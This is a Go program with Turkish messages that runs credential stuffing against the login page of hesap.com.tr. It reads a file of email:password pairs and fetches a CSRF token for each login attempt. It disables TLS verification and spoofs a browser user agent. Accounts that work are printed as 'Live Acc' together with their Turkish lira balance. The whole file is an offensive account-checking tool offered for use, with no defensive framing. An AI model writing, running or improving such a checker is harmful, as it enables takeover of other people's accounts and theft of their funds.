package main

import (
	"bufio"
	"crypto/tls"
	"fmt"
	"io"
	"log"
	"net/http"
	"net/http/cookiejar"
	"os"
	"regexp"
	"strings"
)

func main() {
	fmt.Print("Hesaplar dosyasının adı: ")
	var filename string
	fmt.Scanln(&filename)

	file, err := os.Open(filename)
	if err != nil {
		log.Fatalf("Dosya açılamadı: %v", err)
	}
	defer file.Close()

	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		jar, _ := cookiejar.New(nil)

		client := &http.Client{
			Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
			Jar:       jar,
		}

		line := scanner.Text()
		parts := strings.Split(line, ":")
		if len(parts) != 2 {
			fmt.Printf("Geçersiz format: %s\n", line)
			continue
		}

		email := parts[0]
		password := parts[1]

		csrfToken, err := getCSRFToken(client)
		if err != nil {
			log.Printf("CSRF token alınamadı: %v\n", err)
			continue
		}

		login(client, csrfToken, email, password)

	}

	if err := scanner.Err(); err != nil {
		log.Fatalf("Dosya okuma hatası: %v", err)
	}
}

func getCSRFToken(client *http.Client) (string, error) {
	req, err := http.NewRequest("GET", "https://hesap.com.tr/login", nil)
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0")
	req.Header.Set("Referer", "https://hesap.com.tr/login")

	resp, err := client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		return "", err
	}

	re := regexp.MustCompile(`<meta name="csrf-token" content="(.*?)"`)
	matches := re.FindStringSubmatch(string(body))
	if len(matches) < 2 {
		return "", fmt.Errorf("CSRF token bulunamadı %s", string(body))
	}

	return matches[1], nil
}

func login(client *http.Client, csrfToken, email, password string) (bool, error) {
	data := fmt.Sprintf("_token=%s&email=%s&password=%s", csrfToken, email, password)
	req, err := http.NewRequest("POST", "https://hesap.com.tr/login", strings.NewReader(data))
	if err != nil {
		return false, err
	}

	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0")
	req.Header.Set("Referer", "https://hesap.com.tr/login")

	resp, err := client.Do(req)
	if err != nil {
		return false, err
	}
	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		return false, err
	}

	if strings.Contains(string(body), string("balance")) == true {
		re := regexp.MustCompile(`<a [^>]*class="balance"[^>]*>([\d,]+) TL</a>`)
		match := re.FindStringSubmatch(string(body))
		if len(match) > 1 {

		} else {
			fmt.Println("Miktar bulunamadı.")
		}
		fmt.Printf("Live Acc: %s:%s", email, password)
		fmt.Printf("TL Miktarı: %s\n", match[1])
		return true, nil
	} else {
		//fmt.Println("Sunucu Yanıtı:", string(body))
		fmt.Printf("Dead Acc: %s:%s\n", email, password)
		return false, nil
	}

}

func appendToFile(filename, content string) {
	file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		log.Fatalf("Dosya yazma hatası: %v", err)
	}
	defer file.Close()

	_, err = file.WriteString(content)
	if err != nil {
		log.Fatalf("Dosyaya yazma hatası: %v", err)
	}
}